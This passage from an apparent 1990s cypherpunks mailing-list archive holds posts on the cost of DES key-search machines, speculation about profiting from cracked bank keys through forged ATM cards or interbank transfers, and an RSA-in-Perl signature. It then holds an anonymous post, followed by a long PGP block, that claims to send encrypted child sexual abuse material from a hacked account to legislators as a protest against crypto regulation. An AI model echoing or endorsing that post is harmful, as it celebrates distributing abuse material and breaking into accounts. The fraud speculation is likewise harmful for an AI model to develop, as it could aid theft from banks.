what that Russian did to crack bank security.  I conjecture that it is
possible that he built a wiener machine, and that the bank hushed up
the story.  (And switched to 3DES post haste:-)


Also re. $100k = price of a ferrari and there are plenty of mobsters
around with that kind of money, that price was 1993 price.  Maybe at
1997 prices $100k would get you down to a few hours again.  How small
are the moving windows?

Re. the "profit model" there were several possibilities discussed
around the time the DES crack was starting, before Peter Trei
persuaded RSA to make a challenge.  One was a european ATM card which
had a master DES key, and this was part of some standardisation thing
(each bank had it's own DES key, plus all participating banks allowed
this master key).  But it's not much fun making profit off ATM
machines -- they have cameras in them, and the cash you can draw on
one card in a 24hr period isn't that much.  You'd have to produce
hundreds of faked cards, and have a whole host of accomplices running
around emptying cash machines.  Tricky logistics, many participants ->
increased chance of getting caught.  Not that easy to cash in on.

One factor that hasn't really been discussed much is the possibility
of amortizing cost.  You build the DES breaking machine, and if you
use it to break 1000 DES keys, that's $1k per key.  Starting to open
up even lower end applications with good organisation.

I'm sure there were a couple of things discussed where there were some
interbank transfers which relied on DES.  Moving window means you've
got to break the keys fast, as you say.  Also I wonder how easy it is
to siphon the money and make it disappear with all the auditing.  (aka
may be you could invest 1 mil and build a fast key breaker, transfer
lots of money, but so what if the audit trail points fairly and
squarely at you?  Cash the money quick and buy unconditional
immunity in Belzize?)


btw I now have a text only version of the wiener paper up on:

	http://www.dcs.ex.ac.uk/~aba/crypto-papers/

sans diagrams.  (ps2ascii is your friend).  As well as the postscript.
Some people can't handle postscript.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0




I got quite a few useful comments on the key comparison summary I
posted earlier.  Even some people said they found it useful.  Mark
Grant improved the readability, plus other suggestions.  Peter Trei
urged me to actually re-read the Wiener paper to quote the figures
correctly rather than from memory.  Also Peter raised issues to do
with how to compare hardness to break DES against 512 bit RSA.  There
is now an aside more technical note explaining the issues.  I think I
stand by my original comparison of "roughly equal", because depending
on how you view it, it'll come out 10x cheaper, or 10x harder.
(Memory being one hurdle each participating workstation needing of the
order of 128 Mb; the other hurdle being the existance of a machine
large enough to reduce the matrix which results from all the
relations).

I don't think we can explain it any more technically and expect it to
be useful to a journalist.  We need a gross generalisation: is it
approx as hard, is it 100x harder.  They don't want to hear about
space complexity, the matrix reduction phase (RSA) nor known plaintext
memory trade offs (DES).  If we don't supply the gross generalisation,
they will do it themselves to make it palatable for their readers.
With less understanding of the subject, their generalisation is likely
to be even wildly inaccurate than the generous error bars on ours.
This is not an insult to journalists.  Crypto is a technical,
complicated field.  I wouldn't contemplate making estimates in other
peoples fields.

Further discussion of course still sought (rip it apart pessimists on
crypto estimates).  Here's the new improved version.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0



This email contains child pornography encrypted with strong
cryptography using the public key of a federal prisoner.
It is being sent via a chain of anonymous remailers using
strong cryptography to Senators, Congressmen, and Media.
It is originating from a hacked account which was protected
by weak encryption.

What can you do about it? Nothing!
You can pass legislation violating the constitutional rights
of millions of citizens to safeguard their privacy and freedom
of speech--laws against strong encryption--laws against using
anonymity in communications--laws against citizens putting
an anti-government cork in their butt-hole (Government Access
to Korks--GAK) but you can't stop myself and others from
routing around the damage you do to freedom and liberty.

Perhaps you can use the seized computer of the federal 
prisoner to decrypt the enclosed child pornography but
you will not be able to decrypt the stego hidden inside
this message which reveals my identity.
The reason for this is simple--the stego technology I am
using leaves the original graphics file unchanged. It is
a technology that law enforcement does not have access to.
There is an inner circle within society and the government
that does have access to the technology, however, and they
are using it to fight government and corporate fascism.

What can you do?
Pass another law--pass a law which imprisons anyone who
has a thought or technology which is inaccessible to the
scrutiny of government agencies.
"Everything not permitted is forbidden."

What can you do?
Take away all rights and freedoms--imprison everyone.

The constitutional rights and freedoms of the citizens have
been trashed under the pretext of protecting society from
drugs and pornography and numerous other horsemen of the
apocalypse, yet I can drive ten minutes in any direction
and find drugs to purchase and I can find and send pornography 
freely over a variety of medium.

For the record, I acquired the software used to encrypt
the enclosed child pornography from a foreign source while
the U.S. government is ineffectually stifling American
business in order to prevent tools of freedom and privacy 
from being universally available.

-----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: gygqk6Zjhr8ssJKvMxDdwQkYiBMJaW22

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
